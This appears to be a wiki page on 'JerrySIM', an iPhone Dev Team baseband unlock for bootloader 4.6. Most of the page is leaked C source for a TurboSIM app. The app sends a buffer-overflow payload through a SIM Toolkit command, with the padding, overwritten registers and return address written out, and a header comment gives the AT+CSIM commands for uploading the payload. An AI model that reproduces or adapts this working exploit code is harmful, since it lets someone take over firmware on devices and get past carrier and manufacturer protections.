JerrySIM

This was the dev teams approach to unlocking Bootloader 4.6

Credit

The dev team/elite team.

Exploit

This relied on a buffer overflow in the STK.

Resources

the elite wiki's page on the topic

Leaked Source

Zibri removed it from the Google Code page, but the source is still easily available via google cache, or the fact that Google Code wiki pages are svn based and you can easily just look at an earlier rev :)

On the page before the source got deleted, Zibri referred to itas C source, although by the looks of it he may have failed to realize that it looks like something that should be run off of a TurboSIM

/*
    Usage : send the exploit from OS level, using tty.debug/tty.baseband
    1) Select SMS file
        AT+CSIM=7,"A0A40000027F10"
        AT+CSIM=7,"A0A40000026F3C"
    2) Upload start registers if necessary
        R4, R5, R6, R7, PC swapped
        default R4=4, R5=5, R6=6, R7=7, PC=0xB00AC67C
            AT+CSIM=28,"A0DC0104174A5300..."
    3) Upload the exploit
        AT+CSIM=XX,"A0DC0104XXA53001..."
    4) Run (fixme stk call from tty)
    5) Grab the crash result
        AT+XLOG=0
*/


#include <config.h>
#include <turbo/turbo.h>

#include <stdlib.h>
#include <string.h>

#define VERSION "0.1"

#define REGS_SIZE 20
#define MAX_PAYLOAD_SIZE 255
#define MAX_BLOCK_SIZE 50

u8 PROGMEM ef_sms_path[] = { 0x3f, 0x00, 0x7f, 0x10, 0x6f, 0x3c };

u8 PROGMEM ABOUT_1[] = "JerrySIM version ";
u8 PROGMEM ABOUT_2[] = "\r\niPhone Dev Team/Elite Team internal release\r\nDO NOT LEAK";
u8 PROGMEM ABOUT_3[] = "\r\nWe still have to find a way to make money out of this!";

u8 PROGMEM DEFAULT_REGS[] = { 0x00, 0x04, 0x00, 0x00,
                              0x00, 0x05, 0x00, 0x00,
                              0x00, 0x06, 0x00, 0x00,
                              0x00, 0x07, 0x00, 0x00,
                              0xC6, 0x7C, 0xB0, 0x0A };

#define DEFAULT_OVERFLOW_TAG_SIZE 0xC0

static lc_char PROGMEM lc_JerrySIM[]={
    LC_EN("JerrySIM")
    LC_END
};

static lc_char PROGMEM lc_Run[]={
    LC_EN("Run")
    LC_END
};

static lc_char PROGMEM lc_Debug[]={
    LC_EN("Debug")
    LC_END
};

static lc_char PROGMEM lc_About[]={
    LC_EN("About")
    LC_END
};

typedef struct exploitDataStruct {
    u8 *regs; /* r4 r5 r6 r7 PC */
    u8 *payload;
    u8 payloadSize;
    u8 padSize;
} exploitDataStruct;


exploitDataStruct *exploitData;
u8 *preparedData;

void display_hex(u8 *data, u8 dataSize) {
    u8 i;
    while (dataSize) {
        u8 *r = buf_B();
        u8 blockSize = (dataSize < MAX_BLOCK_SIZE ? dataSize : MAX_BLOCK_SIZE);
        for (i=0; i<blockSize; i++) {
            u8 x = (data[i] >> 4) & 0x0f;
            if (x <= 9) {
                *r++ = x + '0';
            }
            else {
                *r++ = x - 0xa + 'a';
            }
            x = (data[i] & 0x0f);
            if (x <= 9) {
                *r++ = x + '0';
            }
            else {
                *r++ = x - 0xa + 'a';
            }
        }
        *r = '\0';
        dataSize -= blockSize;
        data += blockSize;
        display_text_raw(buf_B(), Q_DISPLAY_TEXT_USER_CLEAR);
    }
}

u8 prepareData();

void go_payload(void *param) {
    u8 dataSize;
    dataSize = prepareData();
    if (dataSize != 0) {
        stk_cmd(0x01, 0x01, 0x82, dataSize);
    }
}


void process_sms_file(File_apdu_data *fa) {
    if (fa->ins == ME_CMD_UPDATE_RECORD && fa->data[0] == 'J' && fa->data[1] == 'S' &&
    (fa->data[2] == 0x00 || fa->data[2] == 0x01 || fa->data[2] == 0x02 || fa->data[2] == 0x03)) {
        switch(fa->data[2]) {
            case 0x00:
                /* Update registers */
                if (fa->p3 != REGS_SIZE - 3) {
                    fa->data[0] = 0x6F;
                    fa->data[1] = 0xF0;
                }
                else {
                    memcpy(exploitData->regs, fa->data + 3, REGS_SIZE - 3);
                    fa->data[0] = 0x6F;
                    fa->data[1] = 0x90;
                }
                break;
            case 0x01:
                /* Update payload */
                if ((fa->p3 - 3 + 1 + 0x1C + REGS_SIZE) > exploitData->padSize) {
                    fa->data[0] = 0x6F;
                    fa->data[1] = 0xF1;
                }
                else {
                    exploitData->payloadSize = fa->p3 - 3;
                    memcpy(exploitData->payload, fa->data + 3, exploitData->payloadSize);
                    fa->data[0] = 0x6F;
                    fa->data[1] = 0x91;
                }
                break;
            case 0x02:
                /* Upload padding */
                if (fa->p3 != 1 + 3) {
                    fa->data[0] = 0x6F;
                    fa->data[1] = 0xF2;
                }
                else {
                    exploitData->padSize = fa->data[3];
                    fa->data[0] = 0x6F;
                    fa->data[1] = 0x92;
                }
                break;
            /* To be tested ! */
            case 0x03:
            /* Go */
                stk_thread(go_payload, NULL);
                fa->data[0] = 0x6F;
                fa->data[0] = 0x93;
                break;
        }
    }
    else {
        sim(fa->ins, fa->p1, fa->p2, fa->p3, fa->data);
    }
}

u8 prepareData() {
    u8 *cmdData = preparedData;
    u8 i, padSize;
    // Header
    *cmdData++ = 0x12;
    *cmdData++ = exploitData->padSize;
    *cmdData++ = 0x01;
    // Padding
    for (i=0; i<0x1C; i++) {
        *cmdData++ = i;
    }
    // Registers
    memcpy(cmdData, exploitData->regs, REGS_SIZE);
    cmdData += REGS_SIZE;
    // Payload
    memcpy(cmdData, exploitData->payload, exploitData->payloadSize);
    cmdData += exploitData->payloadSize;
    // Pad
    padSize = exploitData->padSize - 1 - 0x1C - REGS_SIZE - exploitData->payloadSize;
    for (i=0; i<padSize; i++) {
        *cmdData++ = 0x11;
    }
    return (cmdData - preparedData);
}

u8 do_run(SCtx *ctx, u8 action) {
    u8 dataSize, *res;
    if (action != APP_ENTER)
        return APP_OK;
    dataSize = prepareData();
    if (dataSize != 0) {
        memcpy(buf_A(), preparedData, dataSize);
        res = stk_cmd(0x01, 0x01, 0x82, dataSize);
        /* Display beginning of TERMINAL RESPONSE for information only, should not happen if the exploit worked */
        display_hex(res, 30);
        }
    return APP_OK;
}

u8 do_debug(SCtx *ctx, u8 action) {
    u8 dataSize;
    if (action != APP_ENTER)
        return APP_OK;
    dataSize = prepareData();
    display_hex(preparedData, dataSize);
    return APP_OK;
}

u8 do_about(SCtx *ctx, u8 action) {
    u8 *aboutMsg = buf_B();
    if (action != APP_ENTER)
        return APP_OK;
    aboutMsg = sprints(aboutMsg, ABOUT_1);
    aboutMsg = sprints(aboutMsg, VERSION);
    aboutMsg = sprints(aboutMsg, ABOUT_2);
    *aboutMsg = '\0';
    display_text_raw(buf_B(), Q_DISPLAY_TEXT_USER_CLEAR);
    return APP_OK;
}

SNodeP main_n = { lc_JerrySIM, NULL };
SNodeP jerrysim_run_n = { lc_Run, do_run };
SNodeP jerrysim_debug_n = { lc_Debug, do_debug };
SNodeP jerrysim_about_n = { lc_About, do_about };

SEdgeP jerrysim_edges_p[] = {
    {&main_n, &jerrysim_run_n},
    {&main_n, &jerrysim_debug_n},
    {&main_n, &jerrysim_about_n},
    NULL
};

void action_menu (Menu_selection_data * x)
{
    SCtx *c;

    c = spider_init();
    c->eP = &jerrysim_edges_p;
    c->n = &main_n;
    spider(c);
}

void turbo_handler (u8 action, void *data)
{
    switch (action)
    {
        case ACTION_APP_INIT:
            exploitData = malloc(sizeof(exploitDataStruct));
            exploitData->regs = malloc(REGS_SIZE);
            exploitData->payload = malloc(MAX_PAYLOAD_SIZE);
            exploitData->payloadSize = 0;
            exploitData->padSize = DEFAULT_OVERFLOW_TAG_SIZE;
            memcpy(exploitData->regs, DEFAULT_REGS, REGS_SIZE);
            preparedData = malloc(MAX_PAYLOAD_SIZE);
            reg_file(ef_sms_path, 3);
            break;
        case ACTION_INSERT_MENU:
            insert_menu(locale (lc_JerrySIM));
            break;
        case ACTION_MENU_SELECTION:
            stk_thread(action_menu, NULL);
            break;
        case ACTION_FILE_APDU:
            process_sms_file(data);
        default:
            break;
    }
}